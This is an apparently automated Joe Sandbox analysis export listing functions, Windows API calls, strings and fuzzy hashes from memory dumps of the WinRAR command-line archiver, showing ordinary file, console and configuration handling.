AppData, xrefs: 00007FF702C343F7
Software\WinRAR\Paths, xrefs: 00007FF702C343BC

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: e156cecf612dc6333a1e6e48b2e1476daa09418f1d7f95ea6d9027f4af576c23
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 1E112E23A18742A6EB21BF26AC005AABB60FF84BD4F845531EA4E07755DFBCD544C760

Function 00007FF702C07A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF702C07BF3

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: 19b84a5dc8f1e1731eb20c15cd5d03a2218ffa5299a76aab5d0559900d89bcd1
Instruction ID: e76733f4aa280140a86d2c8344a88ba825ee2bdc4d678ca012405aff91a138d8
Opcode Fuzzy Hash: 19b84a5dc8f1e1731eb20c15cd5d03a2218ffa5299a76aab5d0559900d89bcd1
Instruction Fuzzy Hash: A0E1E563A08A9295EB14EB25E884BFEABA5FF4574CF854431CE0D43385DF78E558C720

Function 00007FF702C22574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF702C225B0
WriteFile.KERNEL32 ref: 00007FF702C225F9
WriteFile.KERNELBASE ref: 00007FF702C2262E
GetLastError.KERNEL32 ref: 00007FF702C22658
SetLastError.KERNEL32 ref: 00007FF702C22689

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 4a6c3843d5166364996ccc495863609e6f71b8a47cbfaed3b603bbd69442f089
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: C7519327608641A6EB24EF25E81437BAB60FF45B80F940135EE5E46A90CFBCE546C711

Function 00007FF702C16AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF702C16C13

Strings

switches_%ls=, xrefs: 00007FF702C16C03
switches=, xrefs: 00007FF702C16B80
rar.ini, xrefs: 00007FF702C16B37

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 9edd5561ec3cfedb66ac1502abfe6a0e0c102b9863744bf10c7a9c51ec61eec5
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 6241AE23B08A42A1EB10FB21DC211BBABA4EF417A4F900136EA5E037D5EFBCD541C320

Function 00007FF702C340A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF702C34432,?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C340C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C340DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF702C340F1

Part of subcall function 00007FF702C23458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF702C3413F,?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C234A0
Part of subcall function 00007FF702C23458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF702C3413F,?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C234D5

Strings

WinRAR, xrefs: 00007FF702C3410F

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 1a63354004413515bdbb848dc945d388eca340ccf95e6ebcb2f1bd7b580fb6b2
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 50216F17A0CA42A0EB54BF22EC501BBAB60AF99BD0B885031EF4E57759DFBCD444C760

Function 00007FF702C21C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF702C221A7,00000000,00000028,?,00007FF702C17792), ref: 00007FF702C21C97
ReadFile.KERNELBASE ref: 00007FF702C21CB6
GetLastError.KERNEL32 ref: 00007FF702C21CEA
GetLastError.KERNEL32 ref: 00007FF702C21D08

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: e9f3a453a74b6e8c972f683b46bd2286a4cf148c16d8a355355acd6ea4314c23
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: FF219622E0C94691EB60AB15EC0033BEAA4FF45B94FA84131E95D4B6C6CFFDE449C761

Function 00007FF702C149F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF702C14B8C
default.sfx, xrefs: 00007FF702C14AB0

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: e655844d1d7cfbe9e346c11fb53dbae0cadf2c05bfd1e33f7a4806939d8d9a6d
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: D881B927B0CA9260EB78BB1199122BBAA91AF52794FC48031DA8D077C5DFED9485C770

Function 00007FF702C665BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF702C6662E
GetFileType.KERNELBASE ref: 00007FF702C66644

Strings

@, xrefs: 00007FF702C6666F

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: fb5102cffeca32d7d00e06bee89b9a411ecbcf1c2b4cbc71386a50ede2182bb6
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: A921D423A1C74250EB609B25AC9803AAE59EF45774F781335DA6F067D4CF7CE881C315

Function 00007FF702C4B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF702C4B9F8
SetThreadPriority.KERNEL32 ref: 00007FF702C4BA4E

Part of subcall function 00007FF702C1CDA4: wcschr.LIBVCRUNTIME ref: 00007FF702C1CE0F
Part of subcall function 00007FF702C1CDA4: wcschr.LIBVCRUNTIME ref: 00007FF702C1CE22

Part of subcall function 00007FF702C1CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF702C1CEDE

Strings

CreateThread failed, xrefs: 00007FF702C4BA06

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: c784816a1432ee258f346f3ebb447b0a22ed7c8ea57caf2e7a391b423457d760
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: 11113033A08A42A2E705FB14EC4117BBB61FF84798FD44132E65D02659EFBCE546C750

Function 00007FF702C4BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF702C4BB79), ref: 00007FF702C4BBB9
SetEvent.KERNEL32 ref: 00007FF702C4BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF702C4BBD8

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: ccffaad693fddec373cec6edcce536eacf59a3c801b9d948b7966c860140edc4
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 30F06223A08A4692DB60FF11E94007BA761FF89BD8F844131DE9D06669CFACD945CB10

Function 00007FF702C62488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF702C6246C), ref: 00007FF702C624B0
TerminateProcess.KERNEL32(?,?,?,00007FF702C6246C), ref: 00007FF702C624BB
ExitProcess.KERNEL32 ref: 00007FF702C624CA

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: 801d93f86373deda1acdf74ddc0ff6f83b996a98bc78805ab8cc8e665f7a26e7
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: 1CE01A22B0870562EB44BB219C8937B6B526F84741F405438CC0E46392CFBDA408C361

Function 00007FF702C17B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B4A
GetFileType.KERNELBASE(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B56
GetConsoleMode.KERNEL32(?,?,?,00007FF702C17A9E), ref: 00007FF702C17B69

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 2497d6a8d806a1584c8d40d5280e41bac2b50d7bd5217d7cfe9af93e9504cd78
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: D0E0CD11F0850363FF54B7615C55136CA519F49780FD01034D81F8E390DF5CD489C320

Function 00007FF702C24044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF702C24255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF702C06CD9), ref: 00007FF702C2447C

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: 95c40d3d83dc574e6dd04171d3e171782771db1154e56827ceaf15e73b878dfc
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: FFE1C223A08682A6EB34AB24DC401BFEAA0FF51794F844131DB9D476D9DFBCE489C710

Function 00007FF702C21AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF702C17EBE,00000000,00000000,00000000,00000000,00000007,00007FF702C17C48), ref: 00007FF702C21B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF702C17EBE,00000000,00000000,00000000,00000000,00000007,00007FF702C17C48), ref: 00007FF702C21BD7

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
